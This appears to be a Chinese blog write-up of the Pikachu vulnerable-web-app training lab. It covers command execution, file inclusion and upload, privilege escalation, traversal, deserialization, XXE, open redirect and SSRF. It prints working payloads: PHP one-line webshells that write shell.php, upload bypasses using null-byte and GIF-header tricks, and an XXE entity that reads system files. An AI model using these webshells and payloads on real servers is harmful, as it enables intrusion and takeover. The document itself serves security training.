pikachu靶场 RCE、File include 到 ssrf 详解

2023-10-27

RCE(命令执行)

exec"ping"

命令执行一般常用'|' '||'  '&&'

这里用的是| 发现可以执行系统命令

 exec "evel"

远程命令执行 (后台把用户的输入作为代码的一部分进行执行,造成了远程代码执行漏洞)

phpinfo();

 可以上传一句话木马

fputs(fopen('shell.php','w'),'<?php assert($_POST[not]);?>');

 

蚁剑进行连接

File inclusion(文件包含漏洞)

File includion(local)

选一个球星,进入,发现url中包含了一个file1.php

目的是找到文件包含的文件

进行爆破

 

file6.php是用户名和密码

 

file7.php是文件包含 include()函数查看系统文件信息

 

 File inclusion(remote)

这一关直接给include()函数给了出来

 写入一个包含木马的文件,路径就在fi_remote.php文件的目录下,shell.txt

内容为<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[not])?>'); ?>

访问  

http://127.0.0.1/pikachu-master/vul/fileinclude/fi_remote.php?filename=D:\python\PhpStudy2018\phpstudy\PHPTutorial\WWW\pikachu-master\vul\fileinclude\shell.txt&submit=%E6%8F%90%E4%BA%A4

生成一个shell.php文件

 用蚁剑进行连接

 Unsafe Filedownload(文件下载)

抓包,发现下载路径,进行修改

可以进行下载路径的修改,不过靶场在哪个盘应该就只能下载哪个盘的文件

下载成功

 

Unsafe Fileupload(文件上传)

client check

前端校验,修改前端代码即可

删除checkfileExt

上传成功

使用蚁剑进行连接

 MIME type

基于服务端MIME校验  抓包修改Conten-Type

 修改为image/png即可

一句话上传成功

 getimagesize

 这里校验了上传文件名的后缀(使用%00.jpg),和文件头信息(gif头部GIF89a),创建文件进行上传

 

上传成功,使用文件包含漏洞,执行图片马

 

 文件包含目录下会生成一个shell.php文件

 Over Permission

水平越权

根据提示登陆账号,查看个人信息,发现url存在username

 

修改username的值,实现水平越权

垂直越权

根据提示,登录普通账户查看信息

再登录管理员账户进行查看

发现url中存在不同试着看修改能不能从普通用户登录到管理员用户,发现不行,

发现管理员用户还可以创建用户,复制创建用户的url,退出登录
登录普通用户,将刚刚复制的url进行访问,发现可以创建用户,实现了垂直越权




目录穿越) ../../

目录遍历

访问进去发现点击超链接,会出现文件名称
 

用已知的文件目录来检测是否存在目录遍历,访问成功
 

 敏感信息泄露

lcanseeyourABC

在源代码中发现测试账号

 登录之后发现一个abc.php  文件

 发现退出登录也能访问

 PHP反序列化
需要先搞清楚php中的serialize(),unserialize()这两个函数
序列化serialize()就是把一个对象变成可以传输的字符串
反序列化unserialize()就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("o:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
payload:  O:1:"S":1{s:4:"test";s:29:"<script>alert('xss')</script>";}

  XXE

 xml外部实体注入漏洞
攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题
也就是服务器接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入.

XXE危害,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等

 XXE漏洞



简单判断一下是否存在回显数据:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "菜鸟" > ]>
<a>&xxe;</a>


在尝试读取一些敏感目录,Windows可以读取  c:/windows/win.ini Linux可以读取/etc/passwd

 

 

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///c:windows/win.ini">]>
<a>&xxe;</a>



url重定向

不安全的URL跳转

进入页面有四个超链接,点击前两个没什么变化,点击第三个跳转到概述页面,点击第四个跳转也页面url=i 

查看源代码发现最后重定向的是/pikachu/vul/urlredirect/unsafere.php
payload : 127.0.0.1/pikachu-master/vul/urlredirect/urlredirect.php?url=https://www.baidu.com
跳转到百度页面

 SSRF

形成原因大都是因为服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址的数据
攻击者----服务器----目标地址

 SSRF(curl)

 如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤

点击超链接发现跳转到了http://localhost/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

可以修改url访问自己虚拟机上的文件

 SSRF(file_get_content)

进来也是一个超链接

点击进行跳转 url为http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info2.php

 发现是file开始读的,  可以直接读取文件

可以尝试读取远程文件,(用自己的虚拟机)

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

pikachu靶场 RCE、File include 到 ssrf 详解 的相关文章

随机推荐

  • 从零搭建树莓派远程监控小车,udp视频传输,qt上位机

    目录 前言 一 材料准备 二 连线方式 三 软件编程 软件编程主要有一下几个方面 1 树莓派视频传输 2 esp8266代码 3 上位机编程 四 总结 前言 最近刚准备完期末机器人驱动的课设 本来是做远程监控无人机的 但是第一次玩无刷电机
  • 吹捧不是区块链的全部,冷静才是正道!

    众所周知 尽管区块链能给我们带来完全不同的想象空间 但是依然掩盖不了它是一个新生的底层技术的现实 如果在一个技术的新生阶段就去吹捧它如何之好 显然是不对的 因为对于新生技术来讲 它的最初阶段最应该具备的 姿势 就是不断丰富和完善自己 为自己
  • 星空时钟c++

    include
  • [Python图像处理] 基于离散余弦变换的安全扩频数字水印

    基于离散余弦变换的安全扩频数字水印 数字水印 基于离散余弦变换的安全扩频数字水印 实现安全扩频数字水印 相关链接 数字水印 数字水印是可见的或不可见的标识码 这种标识码被永久嵌入图像中 并且即使在解码过后后仍存在于图像中 为了保证有效性 水
  • ubuntu20.04下安装pcl

    pcl点云数据库 用来进行3D信息的获取与处理 和opencv相比较 opencv是用来处理二维信息 他是学术界与工业界针对点云最全的库 且网络上相关的资料很多 以下是pcl的安装步骤以及遇到的问题 提前说明 本人用的是ubuntu20 0
  • 一个干净优雅的 Element UI Admin 模板

    Element UI Admin 一个干净优雅的Element UI Admin模板 一个大型单页应用离不开合理的项目结构和一些简单的封装github com xusenlin el Start 克隆或者下载这个仓库 进入项目目录安装依赖
  • 记录好项目D11

    记录好项目 你好呀 这里是我专门记录一下从某些地方收集起来的项目 对项目修改 进行添砖加瓦 变成自己的闪亮项目 修修补补也可以成为毕设哦 本次的项目是个宠物交易 领养系统 一 系统介绍 包括管理员 普通用户两种角色 外加游客 未登录情况 权
  • RT-Thread Studio学习 使用at_device软件包通过ESP8266连接到网络

    本文参考自 https blog csdn net FILLMOREad article details 106233464 ESP8266模块电路图 添加软件包 打开 RT Thread Settings 点击 libc 将其开启 点击添
  • Android Studio中将一个项目转变成library(model)引入到另一个项目中使用

    大家平时在做项目时 会经常应用library作为第三方依赖 那么如果公司中有多个app 其中有部分业务功能逻辑是相似并且可以复用的时候 我们货怎么办呢 简单粗暴的办法就是直接复制过来 但是这样做岂不是复用率不高 以后这部分代码要修改岂不是每
  • linux的几个进程的作用

    author skate time 2011 08 10 linux的几个进程的作用 1 kswapd0 Linux uses kswapd for virtual memory management such that pages tha
  • 目标检测(一):背景差分法

    目标检测是将运动的物体从背景中检测出来 人们希望设计能适用于各种监控环境 不受光照 天气等外界因素影响的目标检测算法 但这种算法难免复杂度大 现有一些算法大多是针对某一类问题提出的 主要包括背景减法 相邻帧差法和光流法等1 1背景减法 背景
  • Vue简单实例——过渡和动画

    前提条件 在显示Vue封装的效果之前 首先我们演示一下 在不经过Vue实例的动画效果 即使用CSS样式进行动画的制作 演示效果 代码实现
  • 巴比特

    摘要 从AI绘画到AI写作 AI敲代码 AI做PPT AI工具逐渐成为都市白领的必备利器 原来要花去8小时的工作现在3小时就能完成 多出来 的5小时用来自我提升 在网络的另一端 从高校毕业的学生到5线城市的准妈妈 他们被招募到大数据公司 专
  • 2023年最新50道Vue全套vue2+vue3面试题带答案汇总

    文章目录 此文章不断更新 欢迎大家在评论区补充 1 什么是MVVM 2 什么是MVC 3 讲一下MVVM 和 MVC的区别 4 vue3和vue2不同点 1 响应式系统的重构 使用proxy替换Object defineProperty属性
  • 如何选择PLC?主要从这8个方面入手

    在PLC系统设计中 首先要确定系统方案 下一步是PLC的设计选择 PLC的选择主要是确定PLC制造商和PLC的具体型号 系统方案需要分布式系统 远程I O系统和网络通信 那么如何选择PLC呢 1 PLC厂家的选择 确定PLC制造商主要应考虑
  • hive 修改表名_hive表新增字段或者修改字段

    1 hive表操作 1 修改表字段的数据类型或者修改表字段名字 如果表是外部表 需要先修改为内部表 alter table 数据库名 表名set tblproperties EXTERNAL FALSE ALTER TABLE 数据库名 表
  • 模糊聚类算法的MATLAB实现

    模糊聚类算法的MATLAB实现 在数据聚类中 常用的算法之一是模糊聚类算法 它能够将数据划分为多个子集 且一个数据点可以被划分到多个子集中 具有很好的灵活性 本文将介绍如何使用MATLAB实现一个基于模糊聚类算法的数据聚类程序 首先 我们需
  • ffmpeg 如何配置编译

    这么长的文章 是转来的 1 ffmpeg介绍 ffmpeg是音视频的分离 转换 编码解码及流媒体的完全解决方案 其中最重要的就是libavcodec库 它被mplayer或者xine使用作为解码器 还有 国内比较流行的播放器影音风暴或MyM
  • ubuntu add/remove software by command

    Ubuntu软件安装与删除相关命令 安装软件 命令 apt get install softname1 softname2 softname3 卸载软件 命令 apt get remove softname1 softname2 softn
  • pikachu靶场 RCE、File include 到 ssrf 详解

    RCE 命令执行 exec ping 命令执行一般常用 这里用的是 发现可以执行系统命令 exec evel 远程命令执行 后台把用户的输入作为代码的一部分进行执行 造成了远程代码执行漏洞 phpinfo 可以上传一句话木马 fputs f